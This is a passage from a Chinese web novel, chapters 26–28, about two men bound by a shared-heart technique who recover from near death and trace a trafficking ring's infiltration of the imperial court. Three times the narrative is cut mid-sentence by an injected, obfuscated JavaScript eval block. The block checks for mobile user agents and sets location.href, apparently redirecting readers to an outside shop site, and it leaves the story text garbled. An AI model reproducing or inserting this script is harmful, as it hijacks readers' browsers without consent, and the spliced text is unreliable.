谢云辞靠在床头，闭上眼，胸中那颗共同的心脏跳得平稳有力。他能感觉到江清砚的情绪——平静中带着一丝释然，释然中又藏着隐忧。 是啊，案子虽然结了，但真正的暗流，还在水底涌动。 二皇子，三皇子，还有谢家的仇……这些都还没完。 正想着，胸口忽然传来一阵剧烈的绞痛！ 不是伤口痛，是心绞痛！ 谢云辞闷哼一声，捂住胸口，额头上瞬间冒出冷汗。他能感觉到，不是他自己的痛——是江清砚的！ 同生共死，心脉相连。江清砚那边出事了！ 他挣扎着下床，踉跄着走到门边，推开门，嘶声喊道:“来人！快去找江钦差！” 门外守着的衙役一愣，随即反应过来，飞奔而去。 谢云辞扶着门框，脸色惨白。胸口的痛越来越烈，像有无数根针在扎，又像有火在烧。他能感觉到江清砚的生命力在急速流失！ 怎么回事？江清砚不是去刑部了吗？刑部戒备森严，怎么会…… 他咬紧牙关，强撑着往外走。刚走出院子，就看到几个衙役抬着一个人匆匆跑来—— 是江清砚！ 他双目紧闭，脸色白得吓人，嘴角还有一丝血迹。胸前衣襟被染红了一片，不是外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863501|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤的血，是从嘴里涌出来的。 “怎么回事？！”谢云辞扑过去，声音都在颤抖。 “不、不知道……”一个衙役结结巴巴道，“江钦差刚到刑部门口，忽然就倒下了，吐了好多血……我们已经去请薛大夫了！” 谢云辞抱起江清砚，冲回厢房。他将人放在床上，探了探鼻息——微弱得几乎感觉不到。又摸了摸脉搏，乱得像一团麻。 “清砚……清砚！”他低声唤道，手在发抖。 江清砚毫无反应。 薛大夫很快赶来了。他检查了江清砚的状况，脸色骤变:“心脉衰竭……怎么会这样？他早上还好好的！” “是禁术反噬。”谢云辞嘶声道，“对不对？” 薛大夫沉默片刻，重重点头:“同生共死之术，本就有违天道。你们之前几次死里逃生，已经耗尽了心脉的潜力。如今……怕是撑不住了。” “救他。”谢云辞抓住薛大夫的手，眼中满是血丝，“无论什么代价，救他。” 薛大夫看着他，又看看床上奄奄一息的江清砚，眼中闪过挣扎。许久，他才低声道:“还有一个办法，但……凶险万分。” “说。” “心头血。”薛大夫一字一句道，“以你的心头血为引，注入他的心脉，强行续命。但此举会损耗你的生命本源，且成功率只有三成。若失败，你们……都会死。” 心头血。 谢云辞没有丝毫犹豫。 “来吧。” “你确定？”薛大夫盯着他，“这会折损你的寿命，甚至可能……” “我确定。”谢云辞打断他，声音平静，“开始吧。” 薛大夫深深看了他一眼，不再多言。他让谢云辞躺在江清砚身边，取出金针、玉碗，还有几个颜色诡异的药瓶。 “过程会很痛。”他警告道，“你要保持清醒，不能晕过去。一旦晕过去，血液逆流，两个人都没救。” “我明白。” 金针刺入谢云辞心口。不是表皮，是真正的、深入心脏的一针。剧痛瞬间席卷全身，谢云辞闷哼一声，咬紧牙关，指甲深深掐进掌心。 鲜血顺着金针流入玉碗。那不是普通的血，而是心头血——颜色更深，更浓稠，在玉碗中泛着诡异的暗金色。 取了约莫小半碗，薛大夫拔出金针，快速在谢云辞胸口几处穴位施针止血。然后，他将那碗心头血倒进一个特制的玉壶，又加入几种药粉，摇晃均匀。 药血混合，变成了淡金色的液体。 薛大夫将玉壶的壶嘴对准江清砚的嘴唇，缓缓倾倒。 液体入口，江清砚的身体忽然剧烈抽搐起来！ “按住他！”薛大夫急喝。 谢云辞不顾自己的伤，死死按住江清砚。他能感觉到，胸中那颗共同的心脏，跳得越来越快，越来越乱，像是要炸开。 江清砚的睫毛在颤抖，嘴唇翕动，似乎在说什么。谢云辞俯身去听，只听到几个破碎的字: “爹……娘……别走……” 他在唤父母。 谢云辞心头一酸，握紧了他的手:“清砚，我在。我在这里，你不许走。” 江清砚似乎听到了，抽搐渐渐平缓下来。胸口的起伏也从急促变得平稳。 薛大夫松了口气，抹了把额头的汗:“成了……暂时成了。但只是续命，不是根治。他的身体已经油尽灯枯，最多……还有一年。” 一年。 谢云辞如遭雷击。 “没有别的办法了吗？”他嘶声问。 薛大夫摇头:“能续命一年，已是奇迹。这一年里，他必须静养，不能劳累，不能动气，更不能受伤。否则……” 他没说下去，但意思明白。 谢云辞低头看着江清砚苍白的脸，忽然笑了。那笑意很苦，却带着决绝。 “一年……够了。” 够他查清家仇，够他安排好一切。 然后……他会陪他，一起去那个山清水秀的地方。 无论生死。 窗外，秋风更急了。 枯叶打着旋儿落下，像一场无声的告别。 而房间里，两个少年紧握着手，在生死边缘，许下了一个关于未来的约定。 虽然未来，可能很短。 但至少，他们还有彼此。 26. 第 26 章 第二十六章苏醒与链接 薛大夫给江清砚服下的药，叫做“回天续命丹”。据说是前朝太医令所创，以百年人参、千年雪莲、还有几味早已绝迹的珍稀药材炼制而成，整个太医院也只剩三颗。永昌帝听闻江清砚病危，特赐一颗——这是莫大的恩典，也意味着，这位年轻的钦差，在皇帝心中已有了不轻的分量。 药效发挥得很慢。 第一天，江清砚只是不再吐血，但依旧昏迷不醒。呼吸微弱得像风中残烛，胸口的起伏几乎看不见。 谢云辞守在他床边，寸步不离。薛大夫让他去休息，他摇头，只说:“我怕他醒来时，身边没人。” 薛大夫叹了口气，没再劝。 第二天清晨，江清砚的呼吸终于平稳了些。脸色虽仍苍白，但不再是死灰般的颜色，有了一丝生气。 谢云辞握着他的手，能感觉到那冰凉的手指，有了一点温度。 第三天午后，阳光正好。 谢云辞累极了，伏在床边打了个盹。梦里还是破庙那夜，大雨滂沱，他满身是血，那个白衣书生蹲在他面前，眼神清澈得像山涧溪流。 “为什么救我？” “想救，便救了。” 然后画面一转，是刑部后衙，江清砚跪在他床边，握着他的手说:“我陪你查，你的仇，我帮你报。” 接着是城隍庙的厮杀，弩箭破空而来，他挡在他身前…… “谢兄……” 一个微弱的声音，将他从梦中唤醒。 谢云辞猛地睁眼。 床上的江清砚，不知何时已经醒了。他睁着眼，看着他，眼神还有些迷茫，却清澈依旧。 “清砚！”谢云辞声音发颤，“你醒了……” 江清砚眨了眨眼，似乎花了些时间才聚焦。他看了看谢云辞，又看了看周围，轻声问:“我……睡了多久？” “三天。”谢云辞握住他的手，“感觉怎么样？” “有点累……”江清砚想坐起来，却牵动了胸口，闷哼一声。 “别动。”谢云辞按住他，“薛大夫说，你要静养。” 江清砚顺从地躺回去，目光落在谢云辞脸上，忽然皱眉:“你脸色很差。是不是……又用禁术了？” 谢云辞没说话。 江清砚明白了。他闭上眼睛，深吸一口气，再睁开时，眼中有了水光。 “谢云辞，你……何苦……” “我说过，要护你到京城。”谢云辞声音低沉，“现在到了京城，这承诺……还在。” 江清砚看着他，许久，忽然笑了。那笑意很浅，却带着释然。 “傻子。”他轻声道。 谢云辞也笑了。 阳光透过窗纸照进来，在两人之间投下温暖的光带。尘埃在光里飞舞，像细碎的金粉。 同生共死。 这一次，他们真正懂得了这四个字的分量。 江清砚醒后的第七天，薛大夫终于允许他下床走动，但只能在院子里，不能出刑部衙门。 深秋的院子，萧条中带着一种静谧的美。老槐树的叶子已经落光了，光秃秃的枝桠指向灰白的天空。墙角几丛菊花却开得正好，金黄、雪白、绛紫，在秋风中摇曳，给这肃杀的季节添了一抹亮色。 江清砚披着厚厚的鹤氅，坐在石凳上。谢云辞坐在他对面，手里削着一个梨——薛大夫说梨能润肺，对江清砚的恢复有好处。 “案子……结了吗？”江清砚忽然问。 谢云辞削梨的手顿了顿，点头:“结了。赵文远、柳文渊判斩立决，三日后行刑。陈文正判绞监候。水鬼帮余孽，已全部处斩。” 他说得简略，江清砚却听出了话外的沉重。 “三皇子呢？” “依旧禁足。”谢云辞将削好的梨递给他，“圣旨上说，念其年少，且系初犯，罚俸三年，闭门思过。” 年少？初犯？ 江清砚接过梨，却没吃，只是看着那晶莹的果肉，轻声道:“那些被掳的举子，也年少。他们的前程，谁赔？” 谢云辞沉默。 他知道江清砚不甘心。他自己也不甘心。但这就是朝堂，有些事，明知不公，也只能接受。 “李大人说，”谢云辞缓缓道，“三皇子虽然保住了命，但经此一事，圣心已失，夺嫡无望。二皇子那边……暂时动不了，但陛下已有戒心。这，大概是最好的结果了。” 最好的结果。 江清砚苦笑。是啊，对朝堂来说，这大概是最好的平衡。可对那些被毁掉的人生来说呢？ 他咬了一口梨，甜中带着微酸，汁水丰沛。可他却觉得满口苦涩。 “清砚，”谢云辞看着他，“等你好些了，我陪你去看看周文远他们。” 江清砚抬头。 “李慕言和王璞中了进士，昨日殿试，李慕言点了探花，王璞二甲第七。周文远在薛大夫调理下，已能认人写字了。还有那几个被救出来的举子……他们都想见你。” 见你。 江清砚心中一暖。是啊，虽然未能尽如人意，但至少，他救下了一些人。那些鲜活的生命，那些本该被毁掉的人生，因为他，有了重新开始的机会。 这大概就是……他拼死一搏的意义。 “好。”他轻声道，“等我能出门了，就去。” 谢云辞点头，又想起什么:“对了，水生走前，留了封信给你。” 他从怀中取出一封皱巴巴的信。信纸普通，字迹却刚劲有力: “江兄:京城非我久留之地，今已南下，归隐江湖。君之高义，没齿难忘。若他日有缘，江南再见。水生。” 短短数语，却透着江湖人的洒脱。 江清砚将信小心折好，收进怀中。 “他是个重情义的人。”他轻声道，“可惜，道不同。” “道虽不同，情义在。”谢云辞道，“这便够了。” 是啊，够了。 在这纷扰的世间，能遇到几个真心相待的人，已是难得。 两人又坐了一会儿，直到秋风渐凉，薛大夫出来催江清砚回屋。 回到厢房，江清砚靠在床头，看着窗外的天色一点点暗下来。忽然，他胸口一紧——不是痛，是一种奇异的、仿佛被什么牵引的感觉。 “谢兄，”他转头看向坐在桌边的谢云辞，“你有没有觉得……我们之间，好像……联系更深了？” 谢云辞一怔，随即点头:“我也感觉到了。尤其是你昏迷那几天，我能清晰感知到你的情绪，甚至……模糊的念头。” 模糊的念头？ 江清砚试着集中精神，想象谢云辞手中的茶杯—— 谢云辞手一颤，杯中茶水溅出几滴。 他惊讶地看向江清砚:“你……” “我刚才……想象你手中的茶杯。”江清砚也惊讶，“你感觉到了？” 谢云辞点头。 两人面面相觑。 薛大夫推门进来，见他们神色有异，问道:“怎么了？” 江清砚将方才的事说了。薛大夫听完，沉吟良久，才道:“同生共死之术，本就有心意相通之能。只是之前你们心脉受损，未能完全显现。如今……怕是联结更深了。” 心意相通。 江清砚和谢云辞对视一眼，都从对方眼中看到了震惊。 这意味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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原来，他们都曾那么孤独。 原来，他们都曾以为，会一个人走到生命的尽头。 可命运让他们相遇了。 同生共死，心意相通。 这不是诅咒，是恩赐。 江清砚睁开眼，眼中有了水光。 “谢兄，”他轻声道，“能遇到你，真好。” 谢云辞握紧了他的手。 “我也是。” 窗外的天彻底黑了。屋里点起了灯，昏黄的光晕将两人的影子投在墙上，时而交叠，时而分开。 薛大夫悄无声息地退了出去，关上门。 把这片安静，留给两个刚刚真正“看见”彼此的少年。 夜深了。 江清砚睡得很沉。自心疾发作以来，这是他第一次睡得这么安稳。梦中不再有血雨腥风，不再有阴谋诡计，只有一片温暖的黑暗，和黑暗中那颗与他同频跳动的心脏。 而谢云辞守在他床边，看着他安详的睡颜，胸中那颗共同的心脏，跳得平稳而有力。 他能感觉到江清砚的平静，也能感觉到……一种深藏的、连主人自己都未察觉的依赖。 同生共死。 从今往后，他们就是真正的一体了。 无论前路是刀山火海，还是锦绣前程。 他们都将并肩而行。 因为从相遇的那一刻起，他们的命运，就已经紧紧缠绕在一起，再也分不开了。 而属于他们的故事，才刚刚开始。 27. 第 27 章 第二十七章记忆宫殿 清晨的刑部衙门，安静得能听见落叶的声音。 江清砚醒来时，阳光已经透过窗纸，在床前投下菱形的光斑。他睁开眼，第一感觉不是身体的虚弱，而是……一种奇异的清明。 仿佛蒙尘的镜子被擦拭干净，脑中的思绪前所未有的清晰。他能回忆起《礼记》每一篇的章句，能复现蓟州码头账本上的每一笔记录，甚至能想起三年前在润州茶馆听过的、关于运河鬼船的每一句闲谈。 这不是他正常的记忆力——虽然他一直有过目不忘之能，但此刻的清晰度，远超以往。 他坐起身，胸口传来隐痛，但比前几日轻了许多。低头看了看，伤口已经结痂，只留下一道淡红色的疤痕，与谢云辞胸口的那道几乎一模一样。 同生共死。 江清砚抬手按在自己心口，能感觉到那颗心脏沉稳有力的跳动。不是一颗，是两颗——他和谢云辞的心脏，在胸腔深处共鸣着相同的节奏。 “醒了？” 谢云辞的声音从门口传来。他端着药碗走进来，见江清砚坐起，眉头微皱:“薛大夫说，你还要多躺几天。” “躺不住了。”江清砚接过药碗，药汁浓黑，气味刺鼻，他却面不改色地一饮而尽，“总觉得……脑子里多了些东西。” 谢云辞在他床边坐下，伸手探了探他的额头:“烧退了。你说多了东西……是什么？” 江清砚闭上眼，尝试整理那些纷乱的记忆碎片。半晌，他睁开眼，神色凝重:“谢兄，你还记得水鬼帮的账本吗？” “记得。” “账本上有一笔交易，日期是永昌十六年八月十五，地点标着‘蓟州码头丙字仓’，收货方代号‘丙三’，货物是五个‘文货’。”江清砚语速平缓，像是在背诵，“备注写着:‘丙三验货，言江南口音重，需调教。退银五十两，限期十日改之。’” 谢云辞瞳孔微缩:“你……全记住了？” 江清砚点头，又补充道:“不止。账本一共一百七十三页，每页十二条记录，合计两千零七十六笔交易。其中涉及‘文货’的四百五十二笔，‘武货’三百零七笔，‘工货’五百一十一笔，‘乐货’两百零六笔。还有……” 他顿了顿，继续道:“还有六百笔，标注为‘特殊货物’。这些‘特殊货物’没有具体描述，只写代号和价格。最贵的一笔，代号‘甲一’，价格……黄金五千两。” 谢云辞听得心惊。这样的记忆力，已经不是“过目不忘”能形容的了。简直像是……将整本账本刻进了脑子里。 “还有更奇怪的。”江清砚继续道，“我昨晚梦见了一些……不属于我的记忆。” “什么记忆？” “一个少年，约莫十五六岁，穿着粗布衣裳，在河边洗衣服。”江清砚描述着，眉头微蹙，“河水很急，他脚下一滑，差点摔进去。这时有人拉了他一把——是个中年文士，穿着青衫，左手拇指戴了个玉扳指。” 谢云辞猛地站起:“玉扳指？柳文渊？” 江清砚摇头:“不是柳文渊。那个文士……我看不清脸，但他腰间挂着一块玉佩，玉佩上的图案……” 他努力回想，脑中却一片模糊。那些记忆像隔着一层雾，能看见轮廓，却看不清细节。 “算了。”他揉了揉额角，“或许只是梦。” “未必。”谢云辞沉声道，“薛大夫说过，同生共死之术，可能会让你们共享部分记忆。你梦见的，也许是……某个与你有联结的人的经历。” 与我有联结的人？ 江清砚忽然想起薛大夫的话——供心之人濒死且自愿，生机未绝，心脉能借其延续。那颗心脏的原主人，是谢云辞。但谢云辞的记忆里，并没有这样的场景。 除非……联结的不只是他和谢云辞，还有……那颗心脏的“过去”？ 这个念头让他背脊发凉。 “谢兄，”他抬头，“你的记忆里，有没有……不属于你的部分？” 谢云辞沉默片刻，缓缓点头:“有。但我以为是幻觉。” “是什么？” “一些零碎的片段:江南的雨季，书房里的墨香，还有……一个女子的歌声。”谢云辞闭上眼睛，努力回忆，“歌声很轻，哼的是江南小调。我听不清词，但调子……很熟悉。” 江南。 江清砚心头一动。他是江南人，谢云辞却是北地出身。谢云辞的记忆里，不该有江南的雨季，更不该熟悉江南小调。 除非……那些记忆，来自那颗心脏的“原主”。 “薛大夫说，那颗心脏……”江清砚声音发颤，“是从一个濒死之人身上取的。那个人……是谁？” 谢云辞摇头:“薛大夫没说。但能自愿献心，且与我血脉相合的人……恐怕不简单。” 两人对视，都看到了对方眼中的凝重。 同生共死，联结的不仅是他们的现在，还有……某个陌生人的过去。 “先不想这些。”谢云辞打破沉默，“当务之急，是你的身体。薛大夫说，你至少要休养三个月。” “三个月太长了。”江清砚摇头，“科举放榜在即，三司会审的后续也要处理。还有……你的仇。” 他说着，掀开被子就要下床。 谢云辞按住他:“这些事有我。你现在的任务是养病。” “可……” “没有可是。”谢云辞语气强硬，“清砚，你答应过我，若有危险，要告诉我。现在你的身体就是最大的危险。你若再逞强，我就……我就把你绑在床上。” 这话说得认真，江清砚却听出了话里的关切。他无奈地笑了笑:“好，我听你的。” 谢云辞这才松开手，却依旧站在床边，一副随时准备把他按回去的架势。 江清砚重新躺下，目光却落在窗外的老槐树上。树叶落尽，枝桠光秃，在秋风中轻轻摇晃。 “谢兄，”他忽然道，“我好像……能‘看见’那棵树更细节的东西。” “什么？” “树干的纹路，每一条裂缝的走向。枝桠分叉的角度，每一个细小的芽苞。”江清砚描述着，眼中闪过惊奇，“甚至……树干里虫蛀的孔洞，我都能‘看’清。” 这不是视力好能解释的。 谢云辞走到窗边，仔细观察那棵老槐树。树干粗糙，裂纹纵横，确实有不少虫蛀的痕迹。但隔着这么远，常人根本看不清，更别说分辨每条裂缝的走向了。 “是联结的副作用吗？”他低声问。 “恐怕是。”江清砚闭上眼睛，尝试将注意力集中在其他东西上——桌上的药碗，墙上的字画，甚至……谢云辞腰间的匕首。 药碗边缘有个细微的缺口，是昨日他不小心碰到的。字画的装裱线有一处松脱，颜色比其他地方略浅。匕首的刀鞘上，有道极浅的划痕，是上次城隍庙厮杀时留下的。 所有这些细节，像潮水般涌入脑海，清晰得毫发毕现。 他睁开眼睛，额头渗出细汗。这种过度的感知，耗费的精神力远超想象。 “清砚？”谢云辞察觉他脸色不对，连忙过来，“怎么了？” “太清晰了……”江清砚喘息着，“所有东西，所有细节……都在脑子里。我控制不住。” 谢云辞立刻按住他的肩膀，沉声道:“集中精神，只看一样东西。其他的，暂时屏蔽。” 江清砚依言，将注意力集中在谢云辞的眼睛上。那双眼睛深邃如潭，此刻盛满了担忧。眼角的细纹，瞳孔的颜色，甚至……眼底深处那抹不易察觉的血丝，都清晰可见。 但其他的东西——药碗、字画、匕首——渐渐模糊下去，退到了感知的边缘。 “好点了吗？”谢云辞问。 江清砚点头，又摇头:“能控制，但很累。就像……脑子里多了个房间，里面堆满了东西。我可以选择看哪一件，但所有的东西，都还在那里。” 记忆宫殿。 江清砚忽然想起这个词。古人用“记忆宫殿”法来训练记忆力，在脑中构建一个虚拟的空间，将需要记忆的东西放在不同的位置。他现在的情况，就像拥有了一座真正的、无法关闭的记忆宫殿。 “这是好事。”谢云辞安慰道，“对你查案、读书都有帮助。只是需要时间适应。” “但愿如此。”江清砚苦笑。 这时，门外传来敲门声。 “江钦差，谢总捕，李大人有请。”是衙役的声音。 谢云辞看向江清砚，后者点了点头。两人简单整理了一下，便跟着衙役去了刑部正堂。 正堂里，李崇明正在看一份奏折，眉头紧锁。见他们进来，放下奏折，神色凝重。 “江钦差身体可好些了？” “好多了，谢大人关心。” 李崇明点点头，将奏折推过来:“你们看看这个。” 江清砚接过奏折。是刑部关于水鬼帮一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863503|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案的结案陈词，已经拟好，准备呈报圣上。但其中有一段被朱笔圈了出来—— “三皇子虽有过错，然念其年少，且系初犯，已闭门思过，罚俸三年。宜以宽宥，以示天家仁德。” 朱笔批注:“准。” 是永昌帝的御批。 江清砚沉默。虽然早有预料，但看到这轻描淡写的处理，心中还是涌起一股无力感。 “还有这个。”李崇明又递过来一份文书。 是吏部的公文——关于今科进士的授官安排。李慕言点了探花，授翰林院编修。王璞二甲第七，授户部主事。其他几位被救的举子，也各有安排。 而在文书末尾，附着一份名单——是那些被盗文集的“作者”，也就是被水鬼帮掳走、又被“培养”的举子。名单上一共十七人，除了已经找到的周文远等七人，还有十人……下落不明。 “这十个人，”李崇明沉声道，“生不见人，死不见尸。水鬼帮的余孽都说不知道，赵文远、柳文渊也咬死不说。” 十个人。 江清砚看着那份名单，脑中忽然闪过一些碎片——不是记忆，是联想。他将名单上的名字，与水鬼帮账本上的记录一一对应，再结合那些被盗文集的内容、风格…… “大人，”他抬起头，眼中闪过一丝亮光，“这十个人，可能……不是被灭口了。” “什么意思？” “水鬼帮掳人，不只是为了贩卖，更是为了‘培养’。”江清砚缓缓道，“他们按照某种标准，挑选有才华的举子，教他们改口音、学礼仪、甚至易容。然后……送进某个地方，成为‘自己人’。” 李崇明和谢云辞都听懂了。 “你是说……这十个人，可能还活着，但已经改头换面，成了……水鬼帮的人？或者，成了水鬼帮背后势力的人？” “很有可能。”江清砚指着名单上的一个名字，“比如这个，吴文清。账本上记录，他是‘永昌十六年三月’被掳，备注是‘擅算学，通账目’。而都水司去年新招的一个书吏，也叫吴文清，同样擅算学，也是江南口音。” 李崇明脸色骤变:“你是说……都水司里有水鬼帮安插的人？” “不止都水司。”江清砚继续道，“还有礼部、户部，甚至……翰林院。水鬼帮经营这么多年，不可能只满足于贩卖人口。他们的最终目的，恐怕是……渗透。” 渗透朝廷，培植党羽，影响朝局。 这个猜测，比单纯的贩卖人口更可怕。 李崇明站起身，在堂中踱步。许久，他才停下，看向江清砚:“江钦差，此事关系重大，没有确凿证据，不能轻举妄动。” “我知道。”江清砚点头，“所以，我想请大人给我一个机会。” “什么机会？” “查阅各部近年的人事档案。”江清砚平静道，“尤其是那些‘空降’的、来历不明的官员。我要找出……那些‘消失’的举子。” 李崇明盯着他看了半晌，最终缓缓点头:“好。但你要答应我，只查，不动。没有铁证，绝不打草惊蛇。” “学生明白。” 从正堂出来，已是午后。 秋阳正好，照在身上暖洋洋的。江清砚却觉得背脊发凉——如果他的猜测属实，那水鬼帮的案子，远没有结束。 “清砚，”谢云辞走在他身边，低声道，“你的身体……” “撑得住。”江清砚打断他，眼中有着前所未有的坚定，“谢兄，我们必须查下去。这不仅是为了那些失踪的人，也是为了……我们自己。” 他顿了顿，声音更轻:“我总觉得，这颗心脏的原主……可能也牵扯其中。” 谢云辞沉默了。 同生共死，联结的不只是他们两个人。还有那个陌生人的过去，那些零碎的记忆片段，那个江南的雨季，那首听不清词的歌…… 也许，查清水鬼帮的真相，也能解开他们身上的谜团。 “好。”谢云辞最终道，“我陪你。但你要答应我，量力而行。” “我答应。” 两人并肩走在刑部的院子里。秋风卷起落叶，在他们脚边打着旋儿。 前方，是更深的迷雾。 但至少这一次，他们不是独自面对。 同生共死，心意相通。 这是诅咒，也是祝福。 而他们选择，将这份联结，化作揭开真相的力量。 无论前方是什么。 28. 第 28 章 第二十八章内外消息 深秋的京城，风里已带了凛冽的寒意。刑部衙门后院那棵老槐树，最后几片叶子也在昨夜的风中落尽了，光秃秃的枝桠指向铅灰色的天空，像一只只伸向苍穹的枯手。 江清砚裹着厚厚的鹤氅，坐在窗边的书桌前。面前摊开的不是经史子集，而是厚厚一摞人事档案——那是李崇明特批，从吏部调来的近五年各部新晋官员名册。 名册是按衙门和年份整理的，每一页都详细记录着官员的姓名、籍贯、出身、履历，还有……推荐人。江清砚的目光，就落在那些“推荐人”的栏目上。 翰林院、礼部、户部、工部、兵部……甚至都察院、大理寺。几乎每个衙门，都有那么几个官员，推荐人一栏写着“柳文渊”或“赵文远”。更隐晦的，则是“观澜书院荐”、“某某同年荐”，但细细比对，都能和水鬼帮账本上的某些记录对应上。 这还只是明面上的。 江清砚闭上眼睛，脑中那座“记忆宫殿”再次展开。他将账本上的每一笔交易、每一处备注，与这些人事档案一一对应、交叉比对。像在下一盘复杂至极的棋，每一步都要计算，每一个细节都不能放过。 额角渗出细汗，胸口传来熟悉的隐痛。但他没有停，反而加快了速度——薛大夫说过，这种过度的精神消耗对心脉是负担，但他顾不上了。 时间不多了。 三日后，赵文远和柳文渊就要问斩。届时，这条线就彻底断了。 “歇会儿。” 谢云辞的声音在身后响起。他端着一碗参汤走进来，放在桌上，目光落在江清砚苍白的脸上，眉头皱紧:“你又逞强。” 江清砚睁开眼，眼中布满血丝，却闪着异样的光:“谢兄，你看这个。” 他指着档案中的一页。那是户部一个新晋主事的履历:张远山，江南润州人士，永昌十五年举人，永昌十七年通过吏部铨选，入户部任主事。推荐人一栏写着“陈文正”。 “张远山……”谢云辞思索片刻，“这个名字，好像在账本上见过。” “不止见过。”江清砚从旁边抽出一张纸——那是他凭记忆默写的水鬼帮账本摘要，“永昌十六年九月，账本记录:丙字十九号，男，二十许，擅算学，通账目。备注:已送户部。” 他顿了顿，继续道:“而张远山，正是永昌十六年十月入的户部。时间对得上，特长也对得上。更重要的是……” 他从档案中抽出另一份文书:“这是张远山的户籍副本。上面写他父母双亡，家中无人。但我在润州时听说过，张家是当地望族，父母健在，还有一个妹妹。” 谢云辞眼神一凛:“你是说，这个张远山……是假的？” “很有可能。”江清砚放下文书，揉了揉眉心，“水鬼帮掳走真的张远山，然后找人冒充他，通过陈文正的关系送入户部。真的张远山……恐怕已经死了。” 一桩，又一桩。 像一张大网，密密麻麻，覆盖了整个朝堂。 谢云辞沉默良久，才低声道:“清砚，你打算怎么办？” “查。”江清砚斩钉截铁，“一个一个查。把这些冒充者，全部揪出来。” “可这需要时间。而且……”谢云辞犹豫道，“牵扯太广了。户部、礼部、翰林院……几乎每个衙门都有他们的人。若贸然动手，恐怕会引起朝堂震动。” “那就从外围开始。”江清砚目光落在窗外，“从那些……还没完全渗透进去的人开始。” 正说着，门外传来急促的脚步声。 “江钦差！谢总捕！”一个衙役气喘吁吁地跑进来，“出事了！刑部大牢……走水了！” 刑部大牢？！ 江清砚和谢云辞对视一眼，同时起身，朝外奔去。 刑部大牢浓烟滚滚。 火是从天字号牢房烧起来的，正是关押赵文远和柳文渊的地方。衙役们提着水桶拼命扑救，但火势太大，浓烟熏得人睁不开眼。 江清砚和谢云辞赶到时，李崇明已经在现场指挥。他脸色铁青，见两人过来，沉声道:“火是半个时辰前起的。守卫说，是有人从外面扔进火油罐，瞬间就烧起来了。” “赵文远和柳文渊呢？”江清砚急问。 “救出来了，但……”李崇明顿了顿，“柳文渊烧伤了，不重。赵文远……吸了太多浓烟，昏迷不醒，大夫正在抢救。” 抢救？ 江清砚心头一沉。三日后就要问斩，偏偏这个时候出事，太巧了。 “有人想灭口。”谢云辞冷声道，“三皇子？还是二皇子？” “都有可能。”李崇明咬牙，“我已经加派人手，将两人转移到秘密地点，严加看管。但……” 他看向江清砚:“江钦差，此事恐怕不简单。对方敢在刑部大牢纵火，说明……他们已经狗急跳墙了。你们也要小心。” 江清砚点头，目光却投向浓烟深处。 忽然，他胸口一紧——不是疼痛，是某种奇异的牵引感。仿佛有什么东西，在呼唤他。 “谢兄，”他低声道，“跟我来。” 两人避开人群，绕到大牢后侧。这里火势较小，但墙壁已被熏黑。江清砚蹲下身，仔细查看地面——有一串凌乱的脚印，从墙根延伸到远处的小巷。 脚印很新鲜，而且是两个人的。 “他们从这里逃了？”谢云辞问。 “不。”江清砚摇头，“是从这里进来的。” 他指着墙根处一个不起眼的凹痕:“这是特制的攀爬钩留下的痕迹。墙头也有——有人从这里翻进来，放了火，又原路返回。” 他说着，站起身，看向脚印延伸的方向:“谢兄，敢不敢跟我追？” 谢云辞二话不说，拔腿就跟。 两人沿着脚印，一路追进小巷。小巷幽深曲折，七拐八绕，最后在一处死胡同前，脚印消失了。 江清砚停下脚步，仔细打量四周。胡同尽头是一堵高墙，墙上爬满枯藤。墙根堆着些杂物:破木箱、烂草席，还有……一个倒扣的竹筐。 他走过去，掀开竹筐—— 下面是一个洞口，仅容一人通过，黑黝黝的，不知通向哪里。 “暗道？”谢云辞皱眉。 江清砚蹲下身，从怀中取出火折子点亮，朝洞里照了照。洞壁光滑，显然是人工开凿的，而且……很新。 “进去看看。”他说。 谢云辞拦住他:“太危险。你在外面等着，我进去。” “不。”江清砚摇头，“我和你一起。” 两人对视片刻，谢云辞最终妥协:“跟紧我。” 他率先钻进洞口，江清砚紧随其后。暗道很窄，两人只能弯腰前行。走了约莫一炷香时间，前方出现亮光——是个出口。 出口外，竟是一处荒废的宅院。 院子很大，但破败不堪。正屋的屋顶塌了一半，门窗歪斜，院子里长满半人高的荒草。角落里堆着些杂物，看样式，像是……戏班的行头？ 江清砚和谢云辞悄无声息地摸到正屋窗下，透过破窗往里看—— 屋里有三个人。 两个黑衣人，正是刚才纵火的刺客。还有一个，是个穿着锦袍的中年男子，背对着窗户，看不清脸。 “……没烧死，只是昏迷。”一个黑衣人低声道，“刑部的人已经把他们转移了，守卫森严，我们没机会再下手。” 中年男子沉默片刻，才开口，声音嘶哑:“废物。连两个将死之人都杀不了。” “大人息怒。”另一个黑衣人连忙道，“虽然没杀死，但赵文远吸了浓烟，就算救回来，脑子也废了。他什么也说不了了。” “柳文渊呢？” “烧伤了手臂，但无大碍。” 